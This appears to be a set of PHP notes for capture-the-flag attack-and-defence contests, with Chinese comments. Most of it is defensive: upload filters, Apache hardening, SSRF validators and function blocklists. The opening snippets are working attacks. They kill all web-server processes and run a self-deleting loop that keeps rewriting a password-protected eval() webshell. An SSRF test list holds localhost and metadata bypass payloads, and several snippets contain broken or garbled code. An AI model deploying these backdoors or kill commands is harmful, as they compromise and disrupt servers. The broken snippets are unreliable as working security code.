<?php
	//www-data，用户名不一定是www-data，要看情况
	system("kill `ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9`");
	//杀php-fpm
	system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");
	//杀httpd php-apache
	system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

<?php
while (1) {
 $pid=1234; //进程的pid
 @unlink('.shell.php');
 exec('kill -9 $pid');
}
?>

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.l.php';
    $code = '<?php echo "awa"; ?>';
    while (1){
        file_put_contents($file,$code);
        //system('touch -m -d "2018-12-01 09:10:12" .l.php');
        //usleep(1000);
        usleep(0);
    }
?>

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '-index.php';
    $code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>';
    //pass=lewiserii
    while (1){
        file_put_contents($file,$code);
        //system('touch -m -d "2018-12-01 09:10:12" -index.php');
        usleep(0);
    }
?>

<?php
$mysqli = new mysqli('localhost', 'root', 'root', 'db');
$mysqli->query('set names utf8');

#创建预编译对象
$mysqli_stmt = $mysqli->prepare('select name balance from account where id = ?');

//用户输入的参数
$id = $_GET['id'];

//绑定参数
$mysqli_stmt->bind_param("i", $id);

//执行
$mysql_stmt->execute();

//绑定结果集
$mysqli_stmt->bind_result($name, $balance);

//输出结果集
while($mysqli_stamt->fetch()){
    echo "$name--$balance";
}

<?php if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $name = htmlspecialchars( $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; 
} 
?>

　libxml_disable_entity_loader(true);

if (($_FILES["Up10defile"]["type"]=="image/gif")&&(substr($_FILES["Up10defile"]["name"], strrpos($_FILES["Up10defile"]["name"], '.')+1))=='gif')&&($_FILES["file"]["size"]<1024000){ } else{ die(); }

$black = array("php", "php5", "php4", "php3", "php2","phtml", "pht", "htaccess", "ini", "shtml","php7");

$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if(in_array($extension, $black) && ($_FILES["file"]["size"]>1024000) ){
    $fake = md5(time());
    die("上传成功, 文件路径/uploads/$fake.$extension");
}
else{
    ...
}

//接上文
else{
    $content = file_get_contents($_FILES["file"]["tmp_name"][0]){
        if(preg_match("/system|define|flag|exec|base64|eval|php|AddType|Files/i",$post)) {    echo "上传成功，审核通过后将会展示您的图片！"; exit();
 }
    }
}

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引（显示目录内容列表）功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下，这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含（SSI）文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志（engine）设置为关闭状态，从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件，并将其访问权限设置为拒绝所有
</Directory>

if (file_exists("upload_file/" . $_FILES["Up10defile"]["name"]))
{
    echo $_FILES["Up10defile"]["name"] . " already exists. ";
}
else
{
    move_uploaded_file($_FILES["Up10defile"]["tmp_name"],
    "upload_file/" .md5(md5($_FILES["Up10defile"]["name"]).time()).".gif");
    #echo "Stored in: " . "upload_file/" . $_FILES["Up10defile"]["name"].".gif";
    //玩点恶心的
    echo "Stored in: " . "upload_file/" . $_FILES["Up10defile"]["name"].".gif";
}

<?php
declare(strict_types = 1);
$$url = $$_GET['url'];
// 请求url信息
$$urlInfo = parse_url($$url);
// 限制请求协议，仅允许http和https请求，防止类似file:///、gopher://、ftp://等引起的安全问题
$validSchemeList = ['http', 'https'];
// 限制允许请求到的地址
$validHostList = ['www.baidu.com'];
// 限制请求的端口为http常用的端口
$validPortList = ['80', '443'];
// 只允许用户访问特定的文件类型
$validTypeList = ['html', 'json', 'gif', 'png', 'jpeg', 'jpg'];
// 不允许访问本地指定的host（避免被用来获取内网数据）
$invalidHostList = ['127.', 'localhost', '192.', '10.'];
if (!in_array(
$urlInfo['scheme'], $
validSchemeList, true)) {
    die('访问协议非法');
}
if (!in_array(
$urlInfo['port'], $
validPortList, true)) {
    die('访问端口非法');
}
if (!in_array(
$urlInfo['host'], $
validHostList, true)) {
    die('请求地址非法');
}
$$visitType = pathinfo($$url, PATHINFO_EXTENSION);
if (!in_array(
$visitType, $
validTypeList, true)) {
    die('访问类型非法');
}
foreach (
$invalidHostList as $
invalidHost) {
    if (strpos(
$urlInfo['host'], $
invalidHost) == 0) {
        die('访问地址非法');
    }
}

function safe_request($url){
    $ch = CURL_INIT();
    CURL_SETOPT($ch, CURLOPT_HEADER, FALSE);
    CURL_SETOPT($ch, CURLOPT_RETURNTRANSFER, TRUE);
    CURL_SETOPT($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    while(true){
        // 0.判断URL合法性
        if (!$url || !filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)){
            return false;
        }

        // 1.仅允许http或https协议
        if(!preg_match('/^https?:\/\/.*$/', $url)){
            return false;
        }

        // 2.解析目标URL，获取其host
        $host = parse_url($url, PHP_URL_HOST);
        if(!$host){
            return false;
        }

        // 3.解析host，获取host指向的IP地址
        $ip = gethostbyname($host);
        $ip = ip2long($ip);
        if($ip === false){
            return false;
        }

        // 4.检查IP地址是否为内网IP
        $is_inner_ipaddress = ip2long('127.0.0.0') >> 24 == $ip >> 24 or
            ip2long('10.0.0.0') >> 24 == $ip >> 24 or
            ip2long('172.16.0.0') >> 20 == $ip >> 20 or
            ip2long('192.168.0.0') >> 16 == $ip >> 16;
        if($is_inner_ipaddress){
            return false;
        }

        // 5.请求URL
        CURL_SETOPT($ch, CURLOPT_URL, $url);
        $res = CURL_EXEC($ch);
        $code = curl_getinfo($ch,CURLINFO_HTTP_CODE);

        // 6.如果有跳转，获取跳转URL执行1, 否则返回响应
        if (300<=$code and $code<400){
            $headers = curl_getinfo($ch);
            $url=$headers["redirect_url"];
        } else {
            CURL_CLOSE($ch) ;
            return $res;
        }
    }
}

    $url = $_GET['url'];
    // $url="http://localhost:8888/302.php";
    $res=safe_request($url);
    if($res)
        echo var_dump($res);
?>

<?php
/*
*  判断是否合法的URL，合法则返回true
*  不合法的情况：
*  1. 包含非ASCII码字符
*  2. 不是http或https协议
*  3. ipv6地址（不支持ipv6地址，将判断为不合法）
*  4. URL的user、pass、host，fragment段包含@、\或其它字符
*  5. 请求地址为内网IP：192.168.0.0/16，10.0.0.0/8，172.16.0.0/12，127.0.0.1/8
*  6. 请求地址为169.254.169.254，100.100.100.200，192.0.0.192这几个常见云主机metadata地址ip
*
*
*  注意，该方法未考虑到：
*  1. 30X跳转的location响应头部是否为合法URL
*  2. DNS Rebinding攻击
*
*  @author Ovie
*  @param string $url
*  @return bool
*/
function is_allowed_URL($url)
{
    // Only allow ASCII URL (so will forbid CRLF and other Unicode char)
    if (!$url || !filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)) {
        return false;
    }

    // Only allow http and https scheme
    if (!preg_match('/^https?:\/\/.*$/', $url)) {
        return false;
    }

    $parts = parse_url($url);
    foreach (array("user", "pass", "host", "fragment") as $key) {
        if (isset($parts[$key]) && preg_match("~[:/?#\\\\@]~", $parts[$key])) {
            return false;
        }
    }

    // gethostbyname do not support ipv6
    $ip = gethostbyname($parts['host']);
    $ip = ip2long($ip);
    if ($ip === false) {
        return false;
    }

    $is_inner_ipaddress = ip2long('127.0.0.0') >> 24 == $ip >> 24 ||
    ip2long('10.0.0.0') >> 24 == $ip >> 24 ||
    ip2long('172.16.0.0') >> 20 == $ip >> 20 ||
    ip2long('192.168.0.0') >> 16 == $ip >> 16 ||
    $ip == 0 ||
    ip2long('169.254.169.254') == $ip ||
    ip2long('192.0.0.192') == $ip ||
    ip2long('100.100.100.200') == $ip;
    if ($is_inner_ipaddress) {
        return false;
    }

    return true;
}
/*
if(isset($_GET['url'])){
    $url = $_GET['url'];
    var_dump(is_allowed_URL($url));
}
*/
function test($url)
{
    $res = is_allowed_URL($url);
    echo $url . " : " . ($res ? $res : "false") . "\n";
}

test("https://127.0.0.1:8080/ppppp");
test("https://169.254.169.254:8080/ppppp");
test("https://192.0.0.192:8080/ppppp");
test("https://100.100.100.200:8080/ppppp");
test("https://127.0.0.1:8080\@baidu.com/ppppp");
test("https://baidu.com#@127.0.0.1:8080/ppppp");
test("https://127.1:8080/ppppp");
test("https://127.0.0.1.:8080/ppppp");
test("https://2130706433:8080/ppppp");
test("https://0:8080/ppppp");
test("https://[::]:8080/ppppp");
test("https://localhost:8080/ppppp");
test("https://0:0:0:0:0:ffff:127.0.0.1:8080/ppppp");
test("https://127.0000.000000.000001:8080/ppppp");
test("https://127.0.0.1:8080#@baidu.com/ppppp");
test("http://[::1]/");
test("https://0.0.0.0:8080/ppppp");
test("https://127.2.0.2:8080/ppppp");
test("https://0x7f.0x0.0x0.0x1:8080/ppppp");
test("https://baidu.com.127.0.0.1.nip.io:8080/ppppp");
test("https://baidu.com@127.0.0.1:8080@baidu.com/ppppp");
test("https://127.0.0.1:8080\.baidu.com/ppppp");
test("https://127.0.0.1:8080:443/ppppp");
?>

# 代码执行函数 eval()、assert()、call_user_func()、call_user_func_array()、array_map()、exec()、shell_exec()等 

#不常见的:
#create_function()、array_walk()、array_map()、array_filter()、array_reduce()、array_diff_ukey/array_diff_uassoc()、usort()、ob_start()、header_register_callback('phpinfo');

#prtnl_exec()、popen()、proc_open()...

#escapeshellarg() + escapeshellcmd()连用导致的问题

# 正则处理 mixed preg_replace ( mixed $ pattern , mixed $ replacement , mixed $ subject [, int $ limit = -1 [, int &$ count ]] ) 
preg_replace() 参数/e修饰符问题 

# 调用函数过滤不严 call_user_func()和array_map()

<?php $a=$_GET['cc']; 
$pattern = "eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start";
if(preg_match("/".$pattern."/is",$cc)== 1){
    die(); 
} 
$bb="phpinfo()"; 
call_user_func($cc,$bb); ?>

<?php
//将所有的对象都转换为__PHP_Incomplete_Class对象
$data = unserialize($foo, ["allowed_classes" => false]);

//将除MyClass和MyClass2之外的所有对象都转化为__PHP_Incomplete_Class对象
$data = unserialize($foo, ["allowed_classes" => ["MyClass", "MyClass2"]]);

//默认情况下，无第二个参数，或者设置为了true
$data = unserialize($foo, ["allowed_classes" => true]);

ini_set('session.serialize_handler', 'php_serialize');
ini_set('session.serialize_handler', 'php');
#二者处理session的方式不同，错误的使用会形成基于session的反序列化漏洞

$filter = "phar|zip|compress.bzip2|compress.zlib";

if(preg_match("/".$filter."/is",$name)== 1){
    die();
}

<?php
$filename = $_GET['filename'];
$pattern = "\/|\.\.\/|\.\/|etc|var|php|jpg|jpeg|png|bmp|gif";

if(preg_match("/".$pattern."/is",$filename)==1){
    echo "die";
    die();
}
include($filename);
?>

$filename  = $_GET['filename'];

$pattern = "\/|\.\.\/|\.\/|etc|var|php|jpg|jpeg|png|bmp|gif|file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect|zip|compress|filter|input";

if(preg_match("/".$pattern."/is",$filename)== 1){
    echo "die00000000000000000000000000000";
    die();
}

include($filename);